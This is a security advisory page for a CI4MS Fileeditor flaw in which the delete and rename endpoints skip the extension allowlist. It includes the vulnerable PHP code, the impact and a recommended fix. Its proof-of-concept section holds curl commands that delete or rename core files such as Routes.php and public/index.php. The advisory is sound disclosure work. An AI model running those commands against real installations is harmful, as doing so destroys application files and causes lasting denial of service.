Vulnerability-Lookup

GHSA-245J-XJVR-XVM5

Vulnerability from github – Published: 2026-05-18 16:21 – Updated: 2026-05-18 16:21

Summary

CI4MS Fileeditor allows deletion and rename of critical application files due to missing extension allowlist on destructive operations

Details

Summary

The Fileeditor module enforces an extension allowlist (['css','js','html','txt','json','sql','md']) on content-write operations (saveFile, createFile), but two destructive endpoints — deleteFileOrFolder and renameFile — never validate the extension of the source path. A backend user with file-editor permissions can therefore unlink or rename any file inside the project root that is not explicitly listed in the small $hiddenItems blocklist. Critical framework files such as app/Config/Routes.php, app/Config/App.php, app/Config/Database.php, app/Config/Filters.php, public/index.php, and public/.htaccess all live outside that blocklist and can be destroyed, producing a persistent denial of service that requires filesystem-level redeployment to recover.

Details

Root cause: inconsistent application of the extension allowlist across Fileeditor operations in modules/Fileeditor/Controllers/Fileeditor.php.

The class declares an allowlist used by content-write operations:

// modules/Fileeditor/Controllers/Fileeditor.php:9
protected $allowedExtensions = ['css', 'js', 'html', 'txt', 'json', 'sql', 'md'];

// line 239
private function allowedFileTypes(string $file): bool
{
    $extension = pathinfo($file, PATHINFO_EXTENSION);
    if (!in_array(strtolower($extension), $this->allowedExtensions)) {
        return false;
    }
    return true;
}

saveFile (line 110) and createFile (line 167) correctly call allowedFileTypes() against the target path before writing. The two destructive endpoints do not:

// deleteFileOrFolder — modules/Fileeditor/Controllers/Fileeditor.php:210-237
public function deleteFileOrFolder()
{
    $valData = ([
        'path' => ['label' => '', 'rules' => 'required|max_length[255]|regex_match[/^[a-zA-Z0-9_ \-\.\/]+$/]'],
    ]);
    if ($this->validate($valData) == false) return $this->fail($this->validator->getErrors());
    $path = $this->request->getVar('path');
    if ($this->isHiddenPath($path)) {
        return $this->failForbidden();
    }
    $fullPath = realpath(ROOTPATH . $path);

    if (!$fullPath || strpos($fullPath, realpath(ROOTPATH)) !== 0) {
        return $this->response->setJSON(['error' => lang('Fileeditor.invalidFileOrFolder')])->setStatusCode(400);
    }

    if (is_dir($fullPath)) {
        $result = rmdir($fullPath);
    } else {
        $result = unlink($fullPath);   // executes on ANY extension
    }
    ...
}

// renameFile — modules/Fileeditor/Controllers/Fileeditor.php:123-151
public function renameFile()
{
    ...
    $path = $this->request->getVar('path');
    if ($this->isHiddenPath($path)) {
        return $this->failForbidden();
    }
    $newName = $this->request->getVar('newName');
    $fullPath = realpath(ROOTPATH . $path);
    $newPath = dirname($fullPath) . DIRECTORY_SEPARATOR . $newName;

    if (!$this->allowedFileTypes($newName))   // <— only the destination is checked
        return $this->failForbidden();
    ...
    if (rename($fullPath, $newPath)) { ... }   // source extension never validated
}

The validation gauntlet a path traverses before reaching unlink()/rename():

Regex /^[a-zA-Z0-9_ \-\.\/]+$/ — admits any path made of alphanumerics, dots, dashes, underscores, slashes (matches app/Config/Routes.php trivially).
isHiddenPath() — only blocks paths whose individual segments equal an entry in $hiddenItems:

// modules/Fileeditor/Controllers/Fileeditor.php:10-26
protected $hiddenItems = [
    '.git', '.github', '.idea', '.vscode', 'node_modules', 'vendor',
    'writable', '.env', 'env', 'composer.json', 'composer.lock',
    'tests', 'spark', 'phpunit.xml.dist', 'preload.php'
];

Critical CodeIgniter 4 framework files (app, Config, Routes.php, App.php, Database.php, Filters.php, public, index.php, .htaccess) are not members of this list, so they pass.

realpath + strpos containment — confirms the resolved path is inside ROOTPATH. Routes.php, etc., are inside ROOTPATH and pass.
Sink — unlink() or rename() runs unconditionally; no extension allowlist applied.

The recent security patch in commit 379ebb6 ("Security: patch critical vulnerabilities and bump to v0.31.4.0") added isHiddenPath() invocations to every endpoint, addressing the previous .env reachability. It did not address the missing extension allowlist on delete and rename source paths. The inconsistency therefore survives in HEAD (v0.31.8.0).

Authorization is provided by the backendGuard filter (modules/Fileeditor/Config/FileeditorConfig.php:12-17) routing through Modules\Auth\Filters\Ci4MsAuthFilter, which requires the role permission fileeditor.delete for deleteFileOrFolder and fileeditor.update for renameFile. Superadmins always pass; role-assigned users with only the Fileeditor permission can also reach the sink, exceeding the editor's apparent design intent (the allowlist on save/create signals that the editor is meant to handle only safe content-type files).

PoC

Prerequisites: an authenticated session with fileeditor.delete (or superadmin) for step 1, and fileeditor.update for step 2. The application is mounted under backend/, not admin/.

# 1) Arbitrary file deletion (no extension check at all)
curl -X POST 'https://target/backend/fileeditor/deleteFileOrFolder' \
  -H 'Cookie: ci_session=<admin>' \
  --data-urlencode 'path=app/Config/Routes.php'
# -> {"success": true}
# Routes.php is unlinked. The next request fails because no routes load. Persistent DoS.

# Equivalently catastrophic targets (none of these segments are in $hiddenItems):
#   path=public/index.php           (front controller — entire app dead)
#   path=app/Config/App.php         (core app config)
#   path=app/Config/Database.php    (DB config)
#   path=app/Config/Filters.php     (auth/CSRF filters)
#   path=public/.htaccess           (rewrite + security rules)

# 2) Rename .php to neutralize the file without checking the source extension
curl -X POST 'https://target/backend/fileeditor/renameFile' \
  -H 'Cookie: ci_session=<admin>' \
  --data-urlencode 'path=app/Config/Routes.php' \
  --data-urlencode 'newName=Routes.txt'
# -> {"success": true}
# Routes.php disappears, becomes Routes.txt. Routing dies on next request.

Trace verifying the validation logic for path=app/Config/Routes.php:

Regex /^[a-zA-Z0-9_ \-\.\/]+$/ — matches.
isHiddenPath('app/Config/Routes.php') — segments ['app','Config','Routes.php'], none in $hiddenItems → returns false.
realpath(ROOTPATH . 'app/Config/Routes.php') — resolves inside ROOTPATH, containment check passes.
unlink($fullPath) (deleteFileOrFolder, line 229) or rename($fullPath, $newPath) (renameFile, line 146) executes — no extension allowlist applied.

Impact

A backend user holding the Fileeditor delete or update permission can:

Delete or neutralize the front controller (public/index.php), routing config (app/Config/Routes.php), database config (app/Config/Database.php), filter pipeline (app/Config/Filters.php), web-server rules (public/.htaccess), or any other framework file inside the project root.
Cause persistent denial of service: the application becomes unreachable on the next request and there is no in-app "restore" — recovery requires filesystem access (redeploy, git checkout, or backup restore).
Destroy data files inside the project tree (e.g. SQLite databases, cached config) outside the small $hiddenItems blocklist.

The destructive surface exceeds Fileeditor's intended capability: the saveFile/createFile allowlist signals an explicit design intent to restrict modifications to safe content extensions, yet delete/rename can target arbitrary file types. Even where the actor is already a superadmin, the bug widens the destructive blast radius beyond what the editor UI exposes and beyond what fileeditor.delete plausibly authorizes for non-superadmin role holders.

The path is gated by an admin-tier permission, so PR:H is honest; impact is limited to integrity/availability of files reachable by the web server user.

Recommended Fix

Apply the same allowedFileTypes() allowlist (or a stricter directory allowlist for editor-managed assets) to the source path in both destructive endpoints. After the existing realpath containment check:

// In deleteFileOrFolder, after line 224:
if (!is_dir($fullPath) && !$this->allowedFileTypes($fullPath)) {
    return $this->failForbidden();
}

// In renameFile, alongside the existing $newName check at line 139:
if (!$this->allowedFileTypes($fullPath) || !$this->allowedFileTypes($newName)) {
    return $this->failForbidden();
}

Stronger hardening — and aligned with the editor's apparent intent — is to confine all Fileeditor operations to a directory allowlist (e.g. public/templates/, public/uploads/) rather than the entire ROOTPATH, and to extend $hiddenItems (or replace it with a denylist of full path prefixes) so that app/Config, public/index.php, public/.htaccess, and similar framework artefacts cannot be reached even by symlink or alternate casing.

Severity

6.5 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:H/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.31.8.0"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "ci4-cms-erp/ci4ms"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.31.9.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-45139"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-73"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-18T16:21:17Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nThe Fileeditor module enforces an extension allowlist (`[\u0027css\u0027,\u0027js\u0027,\u0027html\u0027,\u0027txt\u0027,\u0027json\u0027,\u0027sql\u0027,\u0027md\u0027]`) on content-write operations (`saveFile`, `createFile`), but two destructive endpoints \u2014 `deleteFileOrFolder` and `renameFile` \u2014 never validate the extension of the *source* path. A backend user with file-editor permissions can therefore unlink or rename any file inside the project root that is not explicitly listed in the small `$hiddenItems` blocklist. Critical framework files such as `app/Config/Routes.php`, `app/Config/App.php`, `app/Config/Database.php`, `app/Config/Filters.php`, `public/index.php`, and `public/.htaccess` all live outside that blocklist and can be destroyed, producing a persistent denial of service that requires filesystem-level redeployment to recover.\n\n## Details\n\nRoot cause: inconsistent application of the extension allowlist across Fileeditor operations in `modules/Fileeditor/Controllers/Fileeditor.php`.\n\nThe class declares an allowlist used by content-write operations:\n\n```php\n// modules/Fileeditor/Controllers/Fileeditor.php:9\nprotected $allowedExtensions = [\u0027css\u0027, \u0027js\u0027, \u0027html\u0027, \u0027txt\u0027, \u0027json\u0027, \u0027sql\u0027, \u0027md\u0027];\n\n// line 239\nprivate function allowedFileTypes(string $file): bool\n{\n    $extension = pathinfo($file, PATHINFO_EXTENSION);\n    if (!in_array(strtolower($extension), $this-\u003eallowedExtensions)) {\n        return false;\n    }\n    return true;\n}\n```\n\n`saveFile` (line 110) and `createFile` (line 167) correctly call `allowedFileTypes()` against the target path before writing. The two destructive endpoints do not:\n\n```php\n// deleteFileOrFolder \u2014 modules/Fileeditor/Controllers/Fileeditor.php:210-237\npublic function deleteFileOrFolder()\n{\n    $valData = ([\n        \u0027path\u0027 =\u003e [\u0027label\u0027 =\u003e \u0027\u0027, \u0027rules\u0027 =\u003e \u0027required|max_length[255]|regex_match[/^[a-zA-Z0-9_ \\-\\.\\/]+$/]\u0027],\n    ]);\n    if ($this-\u003evalidate($valData) == false) return $this-\u003efail($this-\u003evalidator-\u003egetErrors());\n    $path = $this-\u003erequest-\u003egetVar(\u0027path\u0027);\n    if ($this-\u003eisHiddenPath($path)) {\n        return $this-\u003efailForbidden();\n    }\n    $fullPath = realpath(ROOTPATH . $path);\n\n    if (!$fullPath || strpos($fullPath, realpath(ROOTPATH)) !== 0) {\n        return $this-\u003eresponse-\u003esetJSON([\u0027error\u0027 =\u003e lang(\u0027Fileeditor.invalidFileOrFolder\u0027)])-\u003esetStatusCode(400);\n    }\n\n    if (is_dir($fullPath)) {\n        $result = rmdir($fullPath);\n    } else {\n        $result = unlink($fullPath);   // executes on ANY extension\n    }\n    ...\n}\n```\n\n```php\n// renameFile \u2014 modules/Fileeditor/Controllers/Fileeditor.php:123-151\npublic function renameFile()\n{\n    ...\n    $path = $this-\u003erequest-\u003egetVar(\u0027path\u0027);\n    if ($this-\u003eisHiddenPath($path)) {\n        return $this-\u003efailForbidden();\n    }\n    $newName = $this-\u003erequest-\u003egetVar(\u0027newName\u0027);\n    $fullPath = realpath(ROOTPATH . $path);\n    $newPath = dirname($fullPath) . DIRECTORY_SEPARATOR . $newName;\n\n    if (!$this-\u003eallowedFileTypes($newName))   // \u003c\u2014 only the destination is checked\n        return $this-\u003efailForbidden();\n    ...\n    if (rename($fullPath, $newPath)) { ... }   // source extension never validated\n}\n```\n\nThe validation gauntlet a path traverses before reaching `unlink()`/`rename()`:\n\n1. **Regex** `/^[a-zA-Z0-9_ \\-\\.\\/]+$/` \u2014 admits any path made of alphanumerics, dots, dashes, underscores, slashes (matches `app/Config/Routes.php` trivially).\n2. **`isHiddenPath()`** \u2014 only blocks paths whose individual segments equal an entry in `$hiddenItems`:\n\n```php\n// modules/Fileeditor/Controllers/Fileeditor.php:10-26\nprotected $hiddenItems = [\n    \u0027.git\u0027, \u0027.github\u0027, \u0027.idea\u0027, \u0027.vscode\u0027, \u0027node_modules\u0027, \u0027vendor\u0027,\n    \u0027writable\u0027, \u0027.env\u0027, \u0027env\u0027, \u0027composer.json\u0027, \u0027composer.lock\u0027,\n    \u0027tests\u0027, \u0027spark\u0027, \u0027phpunit.xml.dist\u0027, \u0027preload.php\u0027\n];\n```\n\n   Critical CodeIgniter 4 framework files (`app`, `Config`, `Routes.php`, `App.php`, `Database.php`, `Filters.php`, `public`, `index.php`, `.htaccess`) are **not** members of this list, so they pass.\n\n3. **`realpath` + `strpos` containment** \u2014 confirms the resolved path is inside `ROOTPATH`. Routes.php, etc., are inside ROOTPATH and pass.\n\n4. **Sink** \u2014 `unlink()` or `rename()` runs unconditionally; no extension allowlist applied.\n\nThe recent security patch in commit `379ebb6` (\"Security: patch critical vulnerabilities and bump to v0.31.4.0\") added `isHiddenPath()` invocations to every endpoint, addressing the previous `.env` reachability. It did **not** address the missing extension allowlist on delete and rename source paths. The inconsistency therefore survives in HEAD (v0.31.8.0).\n\nAuthorization is provided by the `backendGuard` filter (`modules/Fileeditor/Config/FileeditorConfig.php:12-17`) routing through `Modules\\Auth\\Filters\\Ci4MsAuthFilter`, which requires the role permission `fileeditor.delete` for `deleteFileOrFolder` and `fileeditor.update` for `renameFile`. Superadmins always pass; role-assigned users with only the Fileeditor permission can also reach the sink, exceeding the editor\u0027s apparent design intent (the allowlist on save/create signals that the editor is meant to handle only safe content-type files).\n\n## PoC\n\nPrerequisites: an authenticated session with `fileeditor.delete` (or `superadmin`) for step 1, and `fileeditor.update` for step 2. The application is mounted under `backend/`, not `admin/`.\n\n```bash\n# 1) Arbitrary file deletion (no extension check at all)\ncurl -X POST \u0027https://target/backend/fileeditor/deleteFileOrFolder\u0027 \\\n  -H \u0027Cookie: ci_session=\u003cadmin\u003e\u0027 \\\n  --data-urlencode \u0027path=app/Config/Routes.php\u0027\n# -\u003e {\"success\": true}\n# Routes.php is unlinked. The next request fails because no routes load. Persistent DoS.\n\n# Equivalently catastrophic targets (none of these segments are in $hiddenItems):\n#   path=public/index.php           (front controller \u2014 entire app dead)\n#   path=app/Config/App.php         (core app config)\n#   path=app/Config/Database.php    (DB config)\n#   path=app/Config/Filters.php     (auth/CSRF filters)\n#   path=public/.htaccess           (rewrite + security rules)\n\n# 2) Rename .php to neutralize the file without checking the source extension\ncurl -X POST \u0027https://target/backend/fileeditor/renameFile\u0027 \\\n  -H \u0027Cookie: ci_session=\u003cadmin\u003e\u0027 \\\n  --data-urlencode \u0027path=app/Config/Routes.php\u0027 \\\n  --data-urlencode \u0027newName=Routes.txt\u0027\n# -\u003e {\"success\": true}\n# Routes.php disappears, becomes Routes.txt. Routing dies on next request.\n```\n\nTrace verifying the validation logic for `path=app/Config/Routes.php`:\n\n- Regex `/^[a-zA-Z0-9_ \\-\\.\\/]+$/` \u2014 matches.\n- `isHiddenPath(\u0027app/Config/Routes.php\u0027)` \u2014 segments `[\u0027app\u0027,\u0027Config\u0027,\u0027Routes.php\u0027]`, none in `$hiddenItems` \u2192 returns `false`.\n- `realpath(ROOTPATH . \u0027app/Config/Routes.php\u0027)` \u2014 resolves inside ROOTPATH, containment check passes.\n- `unlink($fullPath)` (deleteFileOrFolder, line 229) or `rename($fullPath, $newPath)` (renameFile, line 146) executes \u2014 no extension allowlist applied.\n\n## Impact\n\nA backend user holding the Fileeditor `delete` or `update` permission can:\n\n- Delete or neutralize the front controller (`public/index.php`), routing config (`app/Config/Routes.php`), database config (`app/Config/Database.php`), filter pipeline (`app/Config/Filters.php`), web-server rules (`public/.htaccess`), or any other framework file inside the project root.\n- Cause persistent denial of service: the application becomes unreachable on the next request and there is no in-app \"restore\" \u2014 recovery requires filesystem access (redeploy, git checkout, or backup restore).\n- Destroy data files inside the project tree (e.g. SQLite databases, cached config) outside the small `$hiddenItems` blocklist.\n\nThe destructive surface exceeds Fileeditor\u0027s intended capability: the saveFile/createFile allowlist signals an explicit design intent to restrict modifications to safe content extensions, yet delete/rename can target arbitrary file types. Even where the actor is already a superadmin, the bug widens the destructive blast radius beyond what the editor UI exposes and beyond what `fileeditor.delete` plausibly authorizes for non-superadmin role holders.\n\nThe path is gated by an admin-tier permission, so PR:H is honest; impact is limited to integrity/availability of files reachable by the web server user.\n\n## Recommended Fix\n\nApply the same `allowedFileTypes()` allowlist (or a stricter directory allowlist for editor-managed assets) to the source path in both destructive endpoints. After the existing `realpath` containment check:\n\n```php\n// In deleteFileOrFolder, after line 224:\nif (!is_dir($fullPath) \u0026\u0026 !$this-\u003eallowedFileTypes($fullPath)) {\n    return $this-\u003efailForbidden();\n}\n\n// In renameFile, alongside the existing $newName check at line 139:\nif (!$this-\u003eallowedFileTypes($fullPath) || !$this-\u003eallowedFileTypes($newName)) {\n    return $this-\u003efailForbidden();\n}\n```\n\nStronger hardening \u2014 and aligned with the editor\u0027s apparent intent \u2014 is to confine all Fileeditor operations to a directory allowlist (e.g. `public/templates/`, `public/uploads/`) rather than the entire `ROOTPATH`, and to extend `$hiddenItems` (or replace it with a denylist of full path prefixes) so that `app/Config`, `public/index.php`, `public/.htaccess`, and similar framework artefacts cannot be reached even by symlink or alternate casing.",
  "id": "GHSA-245j-xjvr-xvm5",
  "modified": "2026-05-18T16:21:17Z",
  "published": "2026-05-18T16:21:17Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/ci4-cms-erp/ci4ms/security/advisories/GHSA-245j-xjvr-xvm5"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/ci4-cms-erp/ci4ms"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ci4-cms-erp/ci4ms/releases/tag/0.31.9.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "CI4MS Fileeditor allows deletion and rename of critical application files due to missing extension allowlist on destructive operations"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

Action not permitted

GHSA-245J-XJVR-XVM5

Summary

Details

PoC

Impact

Recommended Fix

Tags

Sightings

Nomenclature